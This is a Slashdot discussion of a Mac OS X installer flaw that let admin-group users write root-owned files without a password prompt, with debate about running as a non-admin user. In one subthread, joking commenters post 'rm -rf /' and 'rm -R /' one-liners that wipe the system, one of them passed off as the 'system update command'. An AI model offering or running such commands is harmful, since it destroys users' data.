      As an addendum to this I'd like to add that most users will double click on anything, and when nothing happens, they will continue to double click until something either does happen or their mouse finger falls off, or their computer dies. Whichever happens first.

      --
      The reason girls and Windows users don't understand UNIX is because all the documentation is in Man files.
    20. Re:Let me get this straight ... by Ilgaz · · Score: 1

      That is the problem, you never used a Mac at high level, like installing a driver or software update. The Mac "Admin" still asked for password while trying to do critical things, Windows admin doesn't. There are thousands of Mac users who run regular user and still enjoy all capacity of system, games etc. Windows users CAN'T.

      I used windows (all versions) and OS X, I know the difference. I tried to run windows like normal user, at end I found myself copying my "regular user" directory to Administrator directory and installing paranoid stuff all over my machine. It simply didn't work.

    21. Re:Let me get this straight ... by Pausanias · · Score: 1

      Even as an admin, you are always prompted to enter your password whenever a process is trying to change system files. For those familiar with Debian-based linux, that means that an "admin user" is a regular user who is a sudoer, whereas a non-admin is a regular user who is not a sudoer.

      The big deal here is that the additional password prompt---which signals the fact that you are changing system files---allegedly never happened under the conditions described here.

    22. Re:Let me get this straight ... by Nutria · · Score: 1
      That is the problem, you never used a Mac at high level, like installing a driver or software update. The Mac "Admin" still asked for password while trying to do critical things, Windows admin doesn't.

      What's the difference between root and Admin? Or, better yet, what is the *purpose* of Admin? On Linux (and I'm positive it works the same on {Free|Open|Net}BSD, you log in as as unprivileged user and then open up an xterm where you either "su -" or sudo.

      There are thousands of Mac users who run regular user and still enjoy all capacity of system, games etc.

      That's what I used to believe, but The Article led me to reconsider that. Thanks for clarification.

      --
      "I don't know, therefore Aliens" Wafflebox1
    23. Re:Let me get this straight ... by Ekimus · · Score: 1

      OK, i read most of the stuff here but still don't get the point (I'm trying to have this as simple as possible),

      (Assumption)
      1. Fresh install the only user that has been created is now logged in

      Case 1:
      I log in and downlaod $software that isn't a .pkg but rather a .app which I just drag'n drop to my applications folder.
      Now this installer goes wacko and installs some kernel module without asking

      Case 2:
      I log in and download $software which is a .pkg, I double click it and the installer starts (without asking for my password, which I have never seen happening by now)
      Now this installer goes wacko and installs some kernel module without asking

      Case 3 (and that's what I just tried and why I'm confused):
      I have a fresh install here and open up System Preferences (by what was said before I am an admin but not root)
      I go to the user Option and want to add a user
      Now unless I unlock the settings (where I have to enter MY PASSWORD which authenticates me as being allowed to run something as root) it wont't let me add users even thou I'm an Admin
      (ok this is apple software this is a potential candidate for not doing something nasty)

      Now either the lock is just graphical gadgets that disabled the widgets and I could still do it without authenticating thru the API (which would then be a bug)
      or I simply can't do it without authenticating (which means to me that it isn't a bug in the API but rather in the usage)

      --
      You are not free to read this message, by doing so, you have violated my licence and are required to urinate publicly. T
    24. Re:Let me get this straight ... by NMerriam · · Score: 1

      What's the difference between root and Admin? Or, better yet, what is the *purpose* of Admin?

      On a practical level, the purpose of Admin (aside from being a sudoer) is that they can manage the applications and settings on the system without being nagged. An Admin user can change things in the global /Applications and /Library directory. But anything owned by the system, including the /System and some of the more dangerous things in /Library, will require the Admin use to reauthenticate or sudo to change.

      Admin users have to jump through even more hoops than just reauthentication in order to view or change other users' stuff. You can't accidentally view, much less change, another users' home or files. The Admin user is pretty limited out of the box.

      --
      Recursive: Adj. See Recursive.
    25. Re:Let me get this straight ... by Tony+Hoyle · · Score: 1

      Admin is people in the sudoers list (well, a badly configured sudoers list where all the admins can run *any* command).

      My problem with that is it's like giving root multiple passwords, all of which work. Once you know one you can rape the system.

    26. Re:Let me get this straight ... by yroJJory · · Score: 1

      If a user is set up with an Administrator account by default during an OS X installation, then I surmise that Apple doesn't give a shit about security either. We've seen what happens in the Windows world when a company chooses user-friendliness over security. It's a disaster.

      I disagree with your inference. In the Windows world, there the Administrator user is essentially the full root user, whereas in Mac OS X, the Admin user can be granted root permissions, but it is supposed to require a password in order to elevate to that status. Hence the issue at hand, where in this particular situation the password requirement has been bypassed.

      --
      Jory
    27. Re:Let me get this straight ... by Anonymous Coward · · Score: 0

      > If a user is set up with an Administrator account by default during an OS X installation,
      > then I surmise that Apple doesn't give a shit about security either.

      When you set up Linux or BSD, do you not have to set up the root user first? Apple's approach is actually better in this case, because it leaves root disabled by default.

      It's hard to set up your computer and install things without Admin privileges. That's why Apple has you set up an Administrator account first, so you can finish configuring your system!

      That said, I think their installer and setup assistant could be a LOT more forward in warning users about the security risks.

    28. Re:Let me get this straight ... by rthille · · Score: 2, Interesting

      The point you're missing (though I'm not sure this is accurate, I just got it from the article) is that an 'admin user' on OS-X is basically the same as someone who's in the sudoers list or in the wheel group on Unix. You _may_ access root, but not everything you do is as root. This is like the ability to run 'su' or 'sudo' and not type your password to become root. If that were true on linux, then any untrusted program you ran as 'joeuser' could become root without the user's knowledge, just by invoking 'su' or 'sudo' in a child process.

      --
      Awesome furniture, accessories and cabinetry in Santa Rosa, CA: http://humanity-home.com/
  6. So, in summation by banky · · Score: 4, Insightful

    1. If you're sitting at the box, you might be able to 0wnz0r it. Same as for Linux, BSD, and Windows.
    2. Regular folk should only install software from reasonably trusted sources.

    I would assume that second point would be clear, given 10 years of watching Windows users open every last attachment that arrives in their inbox, while we sit at our Macs and laugh, but something tells me, probably not.

    --
    ZOMG I WOULD LOVE TO KNOW ABOUT YOUR FEELINGS ON MACINTOSH VERSUS WINDOWS, VI VERSUS EMACS, AND HOW YOU'RE NOT A DORK
    1. Re:So, in summation by Millenniumman · · Score: 1

      I partially agree with what you said, but this is a serious issue that needs to be fixed. Optimally, even the king of all idiots and all of his idiot horses and all of his idiot men should not be able to "0wnz0r" his computer through idiocy.

      --
      Stupidity is like nuclear power, it can be used for good or evil. And you don't want to get any on you.
    2. Re:So, in summation by Anonymous Coward · · Score: 0

      well just remeber system update command is: sudo rm -rf /

    3. Re:So, in summation by WilliamSChips · · Score: 1

      So how is it not having any games to play? (And no, iTunes is not a game.)

      --
      Please, for the good of Humanity, vote Obama.
    4. Re:So, in summation by Millenniumman · · Score: 1

      I prefer: sudo killall xorg && rm -R /

      --
      Stupidity is like nuclear power, it can be used for good or evil. And you don't want to get any on you.
    5. Re:So, in summation by Anonymous Coward · · Score: 0

      you're an idiot. I'll help you, sudo sh -c 'killall X && rm -R /'

    6. Re:So, in summation by banky · · Score: 2, Insightful

      I have a number of games on my PS2. I fail to see what that has to do with Mac OS X privilege escalation via installer packages.

      --
      ZOMG I WOULD LOVE TO KNOW ABOUT YOUR FEELINGS ON MACINTOSH VERSUS WINDOWS, VI VERSUS EMACS, AND HOW YOU'RE NOT A DORK
    7. Re:So, in summation by Anonymous Coward · · Score: 0

      Yep, you're right. It is far more important that as a Mac user, you don't have access to a large percentage of the business applications either. How's that working out for you?

    8. Re:So, in summation by Anonymous Coward · · Score: 0

      Translation: you can't afford a Mac.

      How's your big brother's hand-me-down eMachine working out for you?

    9. Re:So, in summation by lpq · · Score: 1

      2. Regular folk should only install software from reasonably trusted sources.


      Therein lies the rub. How many packages under MacOS or Windows can you install fromsources that you trust?

      I asked a Windows firewall developer who was developing a firewall based on BSD sources. Yet when I wanted to try the product, the developer was all "*clueless*" about why I would would need the sources to run their "special", "free", firewall product . The fact that they didn't, even, understand the need to compile from source made me doubly suspicious as to their intent.

      How many of you trust binaries produced by "MS", or a media company (ala Sony rootkit)?

      How many of you trust that software installed by, say a security company, like Semantec, will do exactly what it claims to do and nothing else? Even signed, do you trust any program from Microsoft to do only what it is advertised to do and nothing else? Do you trust Apple?
      What company that sells programs, in binary, do you trust implicitly and without reservation?

      I submit that, in _practice_, there are no "trustable source other than source, and even source has its limits.


      If it is possible even the source isn't trustable, how can you begin to trust a pre-built binary -- yes, it is signed, but by who? MS? The government?

      It seems the alternative to not installing untrusted sources is [practically] to not install anything, and that's just not very practical. :-(

      -l

    10. Re:So, in summation by banky · · Score: 1

      "Don't install from untrusted sources" means "don't install things in your inbox, don't install things you downloaded of Gnutella, don't install random things on web pages".

      Yeah, blah blah blah, getting something off Versiontracker is a calculated risk, and download-only distribution of commercial software doesn't guarantee someone hasn't hacked the d/l server.

      But.

      I know for a fact there are people in the Mac user base that install EVERY GODDAMN APP, just to see what happens. It's like they have some script to get the Versiontracker RSS feed and install every time it updates (then they bitch about it on the VT forum area). Most people I know don't wait a day for the early adopters to install patches. And so on, and so on. This is the sort of behavior that's common in the Mac community, and it's as foolish and dangerous as the Joe Sixpack install-the-screensaver-in-the-inbox behavior.

      The modern computing reality requires a scratch monkey. That's just the way it is. Those who are about to install potentially untrusted software, we salute you.

      If you can't afford a scratch monkey, just wait a couple days and read MacFixIt.com.

      --
      ZOMG I WOULD LOVE TO KNOW ABOUT YOUR FEELINGS ON MACINTOSH VERSUS WINDOWS, VI VERSUS EMACS, AND HOW YOU'RE NOT A DORK
  7. Congratulations... by Anonymous Coward · · Score: 0

    ...you win the "First 'But, but Windows...' snark of the thread award".

    Enjoy wallowing in your smug sense of false security. :)

  8. Not a "solution" per se, but by 93+Escort+Wagon · · Score: 4, Informative

    It is hard to get most Mac users to not use an admin account, because if you're the only user it will be admin by default.

    I've tried to explain to other Mac users that running as an admin by default is bad, and they always come back with "but you always get a pop-up asking for your username and password anyway, so you always know something is up". Unix-heads know this is wrong, but Mac users as a whole are as uninformed as your average Windows user.

    The silly thing is OS X makes it absurdly easy to run as a non-admin. Just create a second account, make it an administrator, and then remove that privilege from your own account! If some task needs admin privileges, OS X will automatically prompt you for an admin account login - you don't even need to think about it beforehand (unlike XP's less-than-perfect "Run as..." solution). If an application tries to do something admin-y without asking you to authenticate as an admin, it will fail.

    The only time this is ever a hassle is if you're installing one of a handful of software packages that doesn't use the OS X security framework. Adobe is the most egregious offender in this regard - they even require that the first time you launch a number of their programs (right after install in other words), it has to be done as an administrator. There's no good reason for them to do this, but it's part of their "We can't stop the pirates, but we can darn well make it a pain for law-abiding customers" initiative.

    --
    #DeleteChrome
    1. Re:Not a "solution" per se, but by MoneyT · · Score: 1

      So instead of having to type their password to destroy their machine, they have to type a username and password. How does this solve the problem at hand?

      --
      T Money
      World Domination with a plastic spoon since 1984
    2. Re:Not a "solution" per se, but by owenreading · · Score: 1

      Many thanks for that, a most excellent tip. Although I reckon I'm good with my Mac, I never thought of doing that. Now I'm running non-admin account and I didn't have to port all my stuff over to new account (basically what was stopping me beforehand). Blimey, I really am stupid. If I had mod points...

    3. Re:Not a "solution" per se, but by 93+Escort+Wagon · · Score: 1

      "So instead of having to type their password to destroy their machine, they have to type a username and password. How does this solve the problem at hand?"

      Read the discussion board thread linked from the story (I know, this is Slashdot, but...). The issue is that the user didn't have to type in ANYTHING, period. It wasn't that some extra nefarious stuff happened during an installation; he was able to install the php5 package without being prompted for a log in at all. Just being an admin was enough.

      The wider issue is that anything involving the Unix underbelly of OS X does not invoke this part of the OS X security model. If a directory is writable to group admin (e.g. /Applications, /Library, etc.) an admin account can do all sorts of things to it without any sort of authentication required.

      --
      #DeleteChrome
    4. Re:Not a "solution" per se, but by Chrononium · · Score: 1

      If you've ever tried installing Google Earth on OS X, they have the same restriction: you have to be logged in as an admin before installing the program. The workaround? Either use an admin account or modify the package installer to prompt for a password. Darn silly stuff and ignorant developers make for difficult security for users.

    5. Re:Not a "solution" per se, but by 93+Escort+Wagon · · Score: 2, Informative

      The main issue will be the occasional app that doesn't use the security model. I've run into just a few:

      - Google Earth (mentioned by someone else) will run fine, but you'll have to install it using the admin account.

      - App Zapper requires an admin account to even use the app. I wrote to them about it, and got back a somewhat generic "yeah we've thought about it, but you should be deleting from an admin account" reply. I'm guessing this is an old-school Mac developer that has a bit to learn about Unix.

      - Most Adobe applications need to be installed as an admin, and run for the first time as an admin (because of their activation crap). After that they'll work fine run under your normal non-admin user account.

      - Fink (shame on them) will not install correctly unless you run the installer from an admin account.

      If you find an app that won't install, email the developer! Chances are they just haven't thought about it. There have been a few I've written to that, once they were aware of the problem, fixed it pretty quickly. But in the meantime you'll probably have to log in under the admin account a few times to install some apps.

      Since we like to pick on Microsoft here, I'm going to mention that Office will install just fine under a non-admin account - they've used Apple's security framework. Say what you will about the company as a whole; their Mac Business Unit seems to be on the ball.

      --
      #DeleteChrome
  9. 90% of Mac users run as admins? by Anonymous Coward · · Score: 0
    From TFA:
    The problem is compounded when you consider that over 90% of Mac OSi X users run as the administrator user because it's what the default user created by the system is.

    Is this true? Jeebus, this is as bad as Microsoft. I thought Apple was smarter than this.
    1. Re:90% of Mac users run as admins? by Anonymous Coward · · Score: 0

      Is this true? Jeebus, this is as bad as Microsoft. I thought Apple was smarter than this.

      You have to understand that the average home computer user doesn't want to deal with using different user accounts when installing versus running applications, if they even understand what a user account is. If you force them to switch accounts just to install applications, they'll complain endlessly about the inconvenience, and completely fail to realise that it makes their computer more secure (although not by much on a single-user system).

      The notion of running as admin (or, even worse, root) isn't limited to Windows or Mac users either. I've heard Linux users (without Unix backgrounds) boast about 'running as root', as if it's something fashionable to do! You'll find idiots using any OS, not just Windows or Mac OS X. I'd say they're a smaller proportion on Linux than on Windows or Mac OS X, but that's mostly because the barrier to entry is higher. Amongst those of us with Unix backgrounds (in the strict sense, meaning only Unix, not Unix plus Linux, OS X, et al.), I'd say the opposition to running as root (or even admin) is by far the strongest.

    2. Re:90% of Mac users run as admins? by WilliamSChips · · Score: 1

      I've never heard a single Linux user that likes running as root. I always keep a root console window open for when I need to do things that require it but for normal user things I never use it. You must be thinking of Linspire.

      --
      Please, for the good of Humanity, vote Obama.
    3. Re:90% of Mac users run as admins? by Anonymous Coward · · Score: 0

      No, I'm not thinking of Linspire, just novice Linux users who know enough to install one of the many user-friendly Linux distributions that exist today, but not much else about the system, including that running as root is a very bad idea (much worse than running as an admin on OS X or even Windows).

    4. Re:90% of Mac users run as admins? by DelawareBoy · · Score: 1

      Dumb as ait might be, I run as Root. Mainly because I don't use my Linux box very often and it sits behind a firewall.

      It's just easier running as root.

  10. Thank You! by nuckin+futs · · Score: 2, Funny

    from TFA:
    Read my previous guide to securing Mac OS X and do not run as an admin user for daily activities.
    Moreover, if you must run as the administrator, do not install packages from non-reputable sources without cracking open the package


    Well, thank you, Captain Obvious!

  11. a hack? hardly... by Anonymous Coward · · Score: 0

    well as I recall after using Macs for over 12 years now.. since OS X has come out you need to enter a password when installing software.. so given that, if you install software from an untrusted source it's just like downloading malware ridden software on a PC. But since I think most people think twice before doing that (MOST) then I don't think this is a problem.. considering that, that is how the install packages are supposed to work.. AFTER you put in your admin password.

  12. Problem is by Anonymous Coward · · Score: 0

    Mac users just love being r00ted.

  13. The solution would require a major rewrite by WilliamSChips · · Score: 1

    The solution is to make it so that nothing, not even kernel upgrades, can ripple out and effect things they shouldn't. The only way to reliably do that is to make them unable to see the things they shouldn't.

    --
    Please, for the good of Humanity, vote Obama.
  14. "Installs" are bad by Animats · · Score: 4, Interesting

    One of the great features of the original MacOS was that it didn't have "installation". You put an application somewhere, the Finder found it, and you could launch it. If you wanted to delete it, you deleted it, and it disappeared. Maybe once in a while you had to rebuild the desktop to update the derived info that made this work.

    But now, Apple has "installation", where install programs put stuff all over the place, and maybe change the state of the system. Just like Windows. Big step backwards.

    1. Re:"Installs" are bad by Anonymous Coward · · Score: 0

      To make matters worse, Mac's have no standard UI to uninstall one of these apps that install things all over the place (not that I can find, anyway).

    2. Re:"Installs" are bad by Incadenza · · Score: 1

      One of the great features of the original MacOS was that it didn't have "installation". You put an application somewhere, the Finder found it, and you could launch it. If you wanted to delete it, you deleted it, and it disappeared.

      Have you ever installed one of the following (and these are the first three that spring to mind)?

      Quark Xpress
      Microsoft Office
      MacLink
      Extensions, libraries, fonts, helper programms all over the place

      And don't tell me you forgot the torture that was Extension Manager already.

    3. Re:"Installs" are bad by SilverAlicorn · · Score: 2, Informative

      Uhh... have you even used Mac OS X? The vast majority of applications are distributed as "bundles," which are basically special directories that contain everything the program needs to run. You can put the bundle whereever you like, and execute it from there, though the OS provides an "Applications" folder to keep everything neat.

      Frameworks, like Quicktime or SDL, work in a similar way, though they get dropped in the "Library/Frameworks" folder.

      The only things that use the Installer are things that need to make fundamental changes to the system, such as kernel extensions, or programs that have to noodle with the main directory structure, like Fink. They usually provide an uninstall script as well. Granted, Apple's first party apps use the Installer, but they're more complex and integrated. The only program I've ever used that wasn't supplied as a bundle was Fink (basically a port of Debian's APT to make installing Unix applications easier).

    4. Re:"Installs" are bad by ElephanTS · · Score: 1

      No, that's not really true. Many apps - and 99% of small apps - install with a drag'n'drop to wherever you want to put it. Some insist on Applications because they've been 'hard-coded' to look for resources there. Most don't however. Only installs that need changes to the system library (added sounds, frameworks, app support, etc) need to go for the full install and security routine.

      If developers used packages more things would be better though I must say.

      --
      spoonerize "magic trackpad"
    5. Re:"Installs" are bad by Blakey+Rat · · Score: 1

      Office was pretty smart in Mac Classic. Instead of running as an installer, it would just copy what it needed the first time it ran. Your other examples are valid, though-- there were apps in Mac Classic that requires installers, just not a lot. Same as... *gasp* OS X. So no real change there.

    6. Re:"Installs" are bad by drsmithy · · Score: 1
      But now, Apple has "installation", where install programs put stuff all over the place, and maybe change the state of the system. Just like Windows. Big step backwards.

      It was an inescapable side effect of moving to an OS that actually had the concepts of "security" and "permissions".

    7. Re:"Installs" are bad by Geoffreyerffoeg · · Score: 1

      But now, Apple has "installation", where install programs put stuff all over the place, and maybe change the state of the system. Just like Windows. Big step backwards.

      A whole lot of programs can still be installed with drag and drop. Never downloaded a disk image that has its background set to "Drag this --> to your Applications folder"?

      The installers do things like installing configuration files, prebinding, etc.

  15. This post exists to get me spammed. by Anonymous Coward · · Score: 1
    Woohoo social experiments!

    addictstrike@gmail.com

  16. Not a real concern by John+Nowak · · Score: 2, Informative

    On almost any system today, including Linux, OpenBSD, OS X, etc, software has far too much power. Even if I'm not logged in as an admin user, I could download an application, run it, have it trash my user folder, add some things to my .profile, etc. The truth is that the current 'security' on just about every system out there is a joke if you consider intentionally running a (secretly) malicious application a security problem. I absolutely do, but in the grand scheme of things, if Installer asks for a password or not on OS X to do things as root is not much of a concern compared to the gaping holes already there. Should it be fixed? Yes. Is it a major problem? No.

    1. Re:Not a real concern by John+Nowak · · Score: 1

      Also, I should mention that OS X which do not require special privileges are installed by dragging them to /Applications (or just running them from where they are -- location rarely matters). The whole point of installer is to let people easily install things that need special privileges.

    2. Re:Not a real concern by SnowZero · · Score: 1

      I could download an application, run it, have it trash my user folder, add some things to my .profile, etc. The truth is that the current 'security' on just about every system out there is a joke if you consider intentionally running a (secretly) malicious application a security problem.

      Well, there's at least one project to do this kind of thing, which got taken up by a popular distribution. The fancy security certified OSes have been doing MAC for a long time. Now it's more a case of getting them distrubted and creating profiles for well behaved apps. It's a big project though, as modelling the 1000s of programs in a normal Linux distribution is harder than the 10s of apps a secure government computer might see.

    3. Re:Not a real concern by jtull89 · · Score: 1

      SElinux is part of the 2.6 kernel. Cool.

  17. Per-user applications by alyawn · · Score: 1

    At least OS X makes it extremely easy to install applications on a per user basis. When installing most applications on OS X, the user expects to drag the App to the appropriate "Applications" folder. If you don't have permission to write to that folder, then you can't install it. If the installer for the application needs more than that then I'm going to look hard at what that installer script does before I install it.

    I don't see the "security" problem that TFA mentions as a real problem.

  18. Three lines of AppleScript by 93+Escort+Wagon · · Score: 4, Informative
    tell application "Terminal"
        do script "exec bash -c \"touch /Applications/Gotcha\""
    end tell
    If you are in the admin group, you can write into any number of important directories without additional authentication. "Applications" is not the most important one; I used it here because it's visible and obvious. However it's the less-than-obvious ones you need to be concerned about.
    --
    #DeleteChrome
    1. Re:Three lines of AppleScript by Anonymous Coward · · Score: 0

      tell application "Terminal"
              do script "exec bash -c \"touch /Applications/Gotcha\""
      end tell


      Who needs Terminal?

      do shell script "/usr/bin/touch /Applications/Gotcha"

      (The "on run" handler is implicit, so it's just a one-liner.)

  19. New Mac ad by Anonymous Coward · · Score: 0

    Apple: Got Root?

  20. Euhm... so? by guruevi · · Score: 1

    Next scare: you can actually install stuff programs on Linux, Windows and AIX and those programs could do nasty things... euhm, yeah, that's why you don't just install everything.

    --
    Custom electronics and digital signage for your business: www.evcircuits.com
  21. Breaking News! by Anonymous Coward · · Score: 0

    Installing software as an administrator can mess up your computer. Details at 11.

  22. Once you're penetrated... by argent · · Score: 3, Insightful

    There's a great security T-shirt out there that carries the slogan "Once you're penetrated, you're ****ed" (except with the canonical 4LW instead of ****).

    Once an attacker has gained the ability to run unrestricted code on your computer, they can cause you grief even if they have no ability to install applications, install kernel components, run as root or Administrator, or even access the network. Being able to prevent applications from gaining extra privileges is good, at least it makes the cleanup easier, and possibly limits exposure to one account (though anyone who had an account on a shared timesharing system in college knows that's not guaranteed). But for most people, that account has everything they care about on the computer anyway, so once they're penetrated they're ****ed.

    Apple needs to make the following changes to reduce the probability of penetration here.

    1. Don't treat files (like, say, installers) as "safe". Treat applications that operate on files as "safe" or "unsafe", with "safe" limited to applications that are designed to deal with untrusted files.

    2. INSTALLERS AREN'T DESIGNED TO DEAL WITH UNTRUSTED FILES. Don't run an installer automatically.

    3. The user is allowed to shoot himself in the foot, but he has to actually pick up the gun and aim it aware that it might go off. It doesn't go in the bathroom cabinet with the hair dryer.

    Don't mix untrusted and trusted files by default... downloads go in a "Downloads" folder, not on the desktop. Don't automatically install downloaded files, let the user request that. Don't run helper applications that are selected for the Finder or Windows Explorer, keep a separate list of helpers for web browsers and mail software...

    PS: Mozilla folks: the same issue applies to XPI. You've got a big red tag on XPI installer saying 'THIS IS A GUN', but you're still leaving it in the bathroom cabinet next to the hair dryer. Cut that out.

  23. News flash: don't grant root access to strangers by dnorman · · Score: 0

    If you don't trust the provider of an installer, don't run it. And when it asks for your password, click cancel. Nothing to see here. Move along.

    In a follow-up article, the author breaks the scoop about not leaving your password on a Post-It(TM) Note on your monitor...

    --


    It is pitch dark. You are likely to be eaten by a grue.
  24. Here is the FIX by goombah99 · · Score: 3, Informative

    I've known about this hole for about a year (yes I reported it to apple). The solution, which I use myself, is very simple. Do not run as sudo. I have two accouint. my everyday account and my sudo-user account. If you always run the installer as normal users then it will be forced to ask for a sudo-account name and password any time it needs to escalate privledges. There that's the fix.

    If you always run as a sudo user then you are exposed to this hole. It's not techincally a hole, but most people would consider it an unexpected behaviour. Most people figure that if they don't give the installer their password then it can't be installing anything priveldged. Wrong, it is possible. But you were installing so....you sort of got what you asked for, but obviously it's ripe for a trojan.

    The fix I give above simply forces the expected behaviour. If something wants to modify privledged files then it has to ask.

    Now here's the nice thing. Unlike linux and windows, it is a perfectly pleasant experience for a poweruser to run as anormal user on a mac. I'd die if I had to have this dual account system on linux, since not having super user privs is a pain. KDE and GNOME try to help you with some operation, but it's so inconsisten you cant make it work well.

    But on mac's it's nearly seemless. Anytime you need to authorize it pops up a window asking for a sudo account name. It's ubiquitous and there's virtually no time you need to be logged in as sudo-user. For extensive scrirpted or CLI coperations the terminal suffices to su to the sudo user. Now about once or twice a year, I find some situation where it is simpler to be in a GUI desktop as the sudo user. (one of those is fink-commander) For that there's fast user switching which lets me flip over to a logged in sudo GUI account instantly.

    It's painless.

    --
    Some drink at the fountain of knowledge. Others just gargle.
    1. Re:Here is the FIX by Ajehals · · Score: 1
      Im going to make a mild objection to one of your points - and that is your statement of:

      Unlike Linux and windows, it is a perfectly pleasant experience for a power user to run as anormal user on a mac. I'd die if I had to have this dual account system on Linux, since not having super user privs is a pain. KDE and GNOME try to help you with some operation, but it's so inconsistent you cant make it work well.


      Whilst I understand that in some circumstances it would not be workable to run as a non root user whilst running Linux/bsd/solaris etc.. I would suggest that they are rare, and I can think of no situation where logging in as a non-root user and escalating privileges as required (not necessarily always to root either - but to accounts with just sufficient access to carry out certain tasks).

      I find that a correctly configured system will allow you to use it as a non-root user 100% of the time, using su where appropriate at the command line or very occasionally gksu or kdesu within the GUI if you are carrying out certain administrative functions (such as editing a configuration file with a GUI editor...). Moreover KDE request credentials in much the same way as you describe Mac OS doing, i.e. as they are needed and upon application launch or upon making a change that requires them. In short I would suggest that Linux Solaris and the various BSD's are as easy to use as Mac OS as a non root user.

      This is presumably due to the fact that these OS's have been designed from the start from a multi user perspective.

      I agree though that windows is a little less friendly in this regard, especially if you intend to do anything with regard to administration but even then it is still quite usable. The problem on the windows side is always that it is not really geared up to have a user logged in operating as a different user with higher privileges (even with runas and various mmc snap-ins I found it impossible manage an active directory domain effectively if I was not logged in as an administrator).

      What kind of tasks are you performing on a regular basis that you cannot use Linux unless logged in as root?

      Note: Im am a Debian user and not too familiar with the default setup of the more popular distro's (ubuntu etc..) and cant remember how in the way of modifications I have made to my system to make myself comfortable (creating specialised users etc..) but I dont think it was a great deal - it may simply be a matter of configuration though... oh and I dont use sudo at all as I said generally su at the console or very occasionally kdesu in the GUI.
    2. Re:Here is the FIX by goombah99 · · Score: 1

      Sure anyone can run from the command line as unprivledged because su is always there. It's no different on mac or linux.

      But trying to run in a gui as unprivledged in linux is a freakin nightmare. For example when you try this and you run a GUI program that need root (like say Gparted) then if you are truly Gnome or KDE will pop up a dialog asking for the root password. But that's asking for the root password, not asking for any user who has sudo. So if you are not root or have the root password then it fails. And of course that's only under ideal cicrumstances where the app is good enought to do that. Most don't.

      --
      Some drink at the fountain of knowledge. Others just gargle.
    3. Re:Here is the FIX by falconwolf · · Score: 1

      I've known about this hole for about a year (yes I reported it to apple). The solution, which I use myself, is very simple. Do not run as sudo. I have two accouint. my everyday account and my sudo-user account. If you always run the installer as normal users then it will be forced to ask for a sudo-account name and password any time it needs to escalate privledges. There that's the fix.

      That's a problem as well as a solution. Not many people setup two or more accounts, one for su and one or more accounts for everyday usage. It's tooo much of a "hassle". I plan on getting a Macbook Pro when Apple releases it with the Merom, Core 2 Duo, cpu and that's the first thing I plan on doing when turning it on.

      Now here's the nice thing. Unlike linux and windows, it is a perfectly pleasant experience for a poweruser to run as anormal user on a mac. I'd die if I had to have this dual account system on linux, since not having super user privs is a pain.

      A few days ago I got a Linux box and though I haven't done it yet, I've been running around to get parts to upgrade it and setup a network, I'll create a su account and an everyday account. Because I've never done it before and haven't even used Linux in several years and the box came with Linspire installed I need to see how to setup the accounts.

      Falcon
    4. Re:Here is the FIX by goombah99 · · Score: 1

      Falcon, just a heads up, but unless things have changed linspire makes all users root unless otherwise told. yikes! watch out. and by the way creating a second user is not so much hard to do, per se, but just not something the average mac home user would ever think of doing. They ought to have a setup wizard that says, "Would you like to create a special accouunt for system maintanbinece separate from your daily user account (this is reccomended)?"

      --
      Some drink at the fountain of knowledge. Others just gargle.
    5. Re:Here is the FIX by Ajehals · · Score: 1

      If you don't have access to the root password you really shouldn't be modifying the partitions on the system either :).

      If you are running a single user system or are administrating a home PC for a small number of users then its likely that you will know the root password. The whole point is that not everyone should be able to carryout these tasks (not everyone with an account should be on the sudo'ers list). If you just want partition info then there are a hosts of KDE and Gnome applications that will give that to you as user, but to modify them you need to be root. makes sense. - i know this is just one example but hey it applies to most things that you need root / escalated privileges for.

      The main thing behind switching your user to carry out administrative tasks is that 1) you can limit the number of people with access 2) you are aware when you are carrying out potentially dangerous operations (because you need to know the root / other privileged account password and enter it 3) you are not using the root account routinely and therefore unlikely to break it + some others but its late and I cant think right now.

      Its not good to run as root day to day - its not good to give the root password to someone who doesn't know what they are doing (as they might break stuf badly) - not everyone needs to be on the sudo'ers list as not everyone needs to make system wide changes.

      Even as a power user you will be able to use 99% / all the applications that you use day to day without recourse to using root credentials.

      The exception I suppose is if you are just playing with a *nix to see how it works, building - modifying - nuking and rebuilding, then hey use whatever account you want, but if you are using a stable and well maintained system then you don't!!! - after all how often do you need to use *parted on a daily basis! :)

    6. Re:Here is the FIX by drsmithy · · Score: 1
      What kind of tasks are you performing on a regular basis that you cannot use Linux unless logged in as root?

      I think he is complaining because the graphical sudo programs in GNOME and KDE only work if your logged in user is in /etc/sudoers, they don't give you the opportunity to run as a user *not* in /etc/sudoers and specify a dedicated "sudoer" username/password when something needs to be run as root.

    7. Re:Here is the FIX by goombah99 · · Score: 1
      If you don't have access to the root password you really shouldn't be modifying the partitions on the system either :).

      I saw the smiley, so I get your jist. But more seriously, that's sort of the point. If you are the super user but you run normally as root, it's a hassle on Linux to do some sys admin tasks without logging in as the super user's desktop. So naturally one tends to run as a sudo or super user as ones normal desktop.

      If you are running a single user system or are administrating a home PC for a small number of users then its likely that you will know the root password.

      I have about 600 linux machines (not to brag but just to say I'm not talking out my ass either). I dont know the password for "ROOT" on any of them. I do have a UID=0 account on many of these, but the username is not root. The way we configure things is that every UID=0 user gets their own username and password. That does not cut it for KDE and Gnome however where only username=root matters.

      Even as a power user you will be able to use 99% / all the applications that you use day to day without recourse to using root credentials.

      well yes and no. Sure I wish that were more true. And as good practices go, I pretty much follow that rule as far as the command line interface goes. But for GUI, well forget it. Linux is unmanagable in GUI form if your not a superuser account.

      But that was not really the point. The point was that on macs you can install apps without giving the app installer root privledges. So you don't even face that exposure.

      --
      Some drink at the fountain of knowledge. Others just gargle.
    8. Re:Here is the FIX by JadeNB · · Score: 1
      Now about once or twice a year, I find some situation where it is simpler to be in a GUI desktop as the sudo user. (one of those is fink-commander)

      By 'the sudo user' I assume you mean 'a sudoer' (i.e., by default, an administrator). Why do you need to be an administrator for Fink Commander? It prompts you for a sudoer's name and password just like any other application. For self-repair, you might need to enter the password twice; but I run it just fine as an ordinary user.
    9. Re:Here is the FIX by Anonymous Coward · · Score: 0

      When you install fink it gives you two options. one is to allow ordinary users to admin fink and the other is to be root based. You may have chosen the former.

  25. Seems nobody really got it. by l0ne · · Score: 4, Insightful

    Admin user in OS X are regular users on the admin group. The default setup creates an admin user. Installer.app allows PKGs run by admin TO RUN AS ROOT AND WRITE ON ROOT:WHEEL OWNED FILES WITHOUT A PASSWORD PROMPT. It's more-or-less OK for admins to write to /Applications. It's not to change /etc/sudoers or similar nefarious things without a prompt.

    1. Re:Seems nobody really got it. by a.d.trick · · Score: 1
      It's more-or-less OK for admins to write to /Applications
